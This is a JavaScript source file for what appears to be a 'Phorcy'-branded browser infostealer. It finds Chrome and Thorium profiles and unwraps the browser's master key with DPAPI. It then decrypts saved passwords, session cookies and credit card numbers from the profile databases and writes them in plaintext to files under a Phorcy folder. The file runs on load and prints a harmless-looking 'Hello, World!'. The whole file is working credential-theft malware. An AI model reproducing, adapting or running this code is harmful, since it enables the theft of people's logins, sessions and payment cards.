const fs = require('fs'); const sqlite3 = require('sqlite3').verbose(); const crypto = require('crypto') const path = require('path') const dpapi = require('./node-dpapi'); class BrowserStealing { constructor() { this.local = process.env.LOCALAPPDATA this.phorcyDir = path.join(this.local, 'Phorcy'); this.browserPaths = [path.join(this.local, 'Google', 'Chrome', 'User Data'), path.join(this.local, 'Thorium', 'User Data')]; this.browserProfiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5']; this.tempDir = path.join(this.local, 'Temp'); this.password_command = 'SELECT action_url, username_value, password_value FROM logins'; this.cookie_command = 'SELECT host_key, name, encrypted_value, expires_utc FROM cookies'; this.cc_command = 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards'; //this.history_command = 'SELECT url, title, last_visit_time FROM urls'; //this.downloads_command = 'SELECT tab_url, target_path FROM downloads'; this.passwordFile = path.join(this.phorcyDir, 'browser_passwords.txt'); this.cookieFile = path.join(this.phorcyDir, 'browser_cookies.txt'); this.ccFile = path.join(this.phorcyDir, 'browser_creditcards.txt'); //this.historyFile = path.join(this.phorcyDir, 'browser_history.txt'); //this.downloadsFile = path.join(this.phorcyDir, 'browser_downloads.txt'); this.password_count = 0; this.cookie_count = 0; this.cc_count = 0; //this.history_count = 0; //this.downloads_count = 0; } generateRandomString() { const randomCharacter = () => Math.random().toString(36).substring(2, 3).toUpperCase(); return `${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}`; } fileExists(filePath) { try { fs.accessSync(filePath, fs.constants.F_OK); return true; } catch (err) { return false; } } getKey(local_stateFile, callback) { fs.readFile(local_stateFile, 'utf8', (err, data) => { if (err) { console.error(err); return; } const encryptedKey = Buffer.from(JSON.parse(data).os_crypt.encrypted_key, 'base64').slice(5); const decryptedKey = dpapi.unprotectData(encryptedKey, null, "CurrentUser"); console.log('Decryption Key:', decryptedKey); //return decryptedKey; callback(null, decryptedKey); }); } getPassword(loginFile, masterKey) { const tempFile = path.join(this.tempDir, this.generateRandomString()); fs.copyFile(loginFile, tempFile, (err) => { if (err) { console.error(err); } const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { if (err) { console.error(err); return; } db.all(this.password_command, (err, rows) => { if (err) { console.error(err); } else { rows.map(row => { if (row && row['password_value']) { let password_value = row['password_value']; let start = password_value.slice(3, 15), middle = password_value.slice(15, password_value.length - 16), end = password_value.slice(password_value.length - 16, password_value.length), decipher = crypto.createDecipheriv('aes-256-gcm', masterKey, start); decipher.setAuthTag(end); this.password_count++; try { const passwordList = `+------------------------+\n| URL: ${row.action_url ? row.action_url.toString() : ''} |\n| Username: ${row.username_value ? row.username_value.toString() : ''} |\n| Password: ${decipher.update(middle, 'base64', 'utf-8') + decipher.final('utf-8').toString()} |\n`; fs.writeFileSync(this.passwordFile, passwordList, { flag: 'a' }); } catch (err) { console.error(err); } } }); } db.close((err) => { if (err) { console.error(err); } }); console.log('Password count:', this.password_count) }); }); }); if (this.fileExists(tempFile)) { fs.unlink(tempFile, (err) => { if (err) { console.error(err); } }); } }; getCookie(cookieFile, masterKey) { const tempFile = path.join(this.tempDir, this.generateRandomString()); fs.copyFile(cookieFile, tempFile, (err) => { if (err) { console.error(err); } const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { if (err) { console.error(err); return; } db.all(this.cookie_command, (err, rows) => { if (err) { console.error(err); } else { let decrypted; rows.map(row => { if (row && row['encrypted_value']) { let cookie_value = row['encrypted_value']; let first = cookie_value.slice(3, 15), middle = cookie_value.slice( 15, cookie_value.length - 16 ), end = cookie_value.slice(cookie_value.length-16,cookie_value.length),decipher=crypto.createDecipheriv("aes-256-gcm",masterKey,first); decipher.setAuthTag(end),decrypted=decipher.update(middle,"base64","utf-8")+decipher.final("utf-8"); this.cookie_count++; try { const cookieList = `+------------------------+\n| Host: ${row["host_key"]} |\n| Name: ${row.name ? row.name.toString() : ''} |\n| Cookie value: ${decrypted} |\n| Expiration: ${row['expires_utc']} |\n`; fs.writeFileSync(this.cookieFile, cookieList, { flag: 'a' }); } catch (err) { console.error(err); } } }); } db.close((err) => { if (err) { console.error(err); } }); console.log('Cookie count:', this.cookie_count) }); }); }); if (this.fileExists(tempFile)) { fs.unlink(tempFile, (err) => { if (err) { console.error(err); } }); } }; getCreditCard(ccFile, masterKey) { const tempFile = path.join(this.tempDir, this.generateRandomString()); fs.copyFile(ccFile, tempFile, (err) => { if (err) { console.error(err); } const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { if (err) { console.error(err); return; } db.all(this.cc_command, (err, rows) => { if (err) { console.error(err); } else { let decrypted; rows.map(row => { if (row && row['card_number_encrypted']) { let cc_value = row['card_number_encrypted']; let first = cc_value.slice(3, 15), middle = cc_value.slice( 15, cc_value.length - 16 ), end = cc_value.slice(cc_value.length-16,cc_value.length),decipher=crypto.createDecipheriv("aes-256-gcm",masterKey,first); decipher.setAuthTag(end),decrypted=decipher.update(middle,"base64","utf-8")+decipher.final("utf-8"); this.cc_count++; try { const ccList = `+------------------------+\n| Name: ${row['name_on_card']} |\n| Credit Card Number: ${decrypted} |\n| Expiration: ${row['expiration_month']}/${row['expiration_year']} |\n`; fs.writeFileSync(this.ccFile, ccList, { flag: 'a' }); } catch (err) { console.error(err); } } }); } db.close((err) => { if (err) { console.error(err); } }); console.log('Credit Card count:', this.cc_count) }); }); }); if (this.fileExists(tempFile)) { fs.unlink(tempFile, (err) => { if (err) { console.error(err); } }); } }; async Main() { // password grabber fs.writeFileSync(this.passwordFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); for (const browserPath of this.browserPaths) { if (this.fileExists(browserPath)) { const localState = path.join(browserPath, 'Local State'); if (this.fileExists(localState)) { for (const profile of this.browserProfiles) { const passwordFile = path.join(browserPath, profile, 'Login Data'); if (this.fileExists(passwordFile)) { try { this.getKey(localState, (err, key) => { if (err) { console.error(err); } else { this.getPassword(passwordFile, key); } }); } catch (err) { console.error(err); } } } } } } // cookie grabber fs.writeFileSync(this.cookieFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); for (const browserPath of this.browserPaths) { if (this.fileExists(browserPath)) { const localState = path.join(browserPath, 'Local State'); if (this.fileExists(localState)) { for (const profile of this.browserProfiles) { const cookieFile = path.join(browserPath, profile, 'Network', 'Cookies'); if (this.fileExists(cookieFile)) { try { this.getKey(localState, (err, key) => { if (err) { console.error(err); } else { this.getCookie(cookieFile, key); } }); } catch (err) { console.error(err); } } } } } } // cc grabber fs.writeFileSync(this.ccFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); for (const browserPath of this.browserPaths) { if (this.fileExists(browserPath)) { const localState = path.join(browserPath, 'Local State'); if (this.fileExists(localState)) { for (const profile of this.browserProfiles) { const ccFile = path.join(browserPath, profile, 'Web Data'); if (this.fileExists(ccFile)) { try { this.getKey(localState, (err, key) => { if (err) { console.error(err); } else { this.getCreditCard(ccFile, key); } }); } catch (err) { console.error(err); } } } } } } } } const browserStealer = new BrowserStealing() browserStealer.Main() console.log('Hello, World!')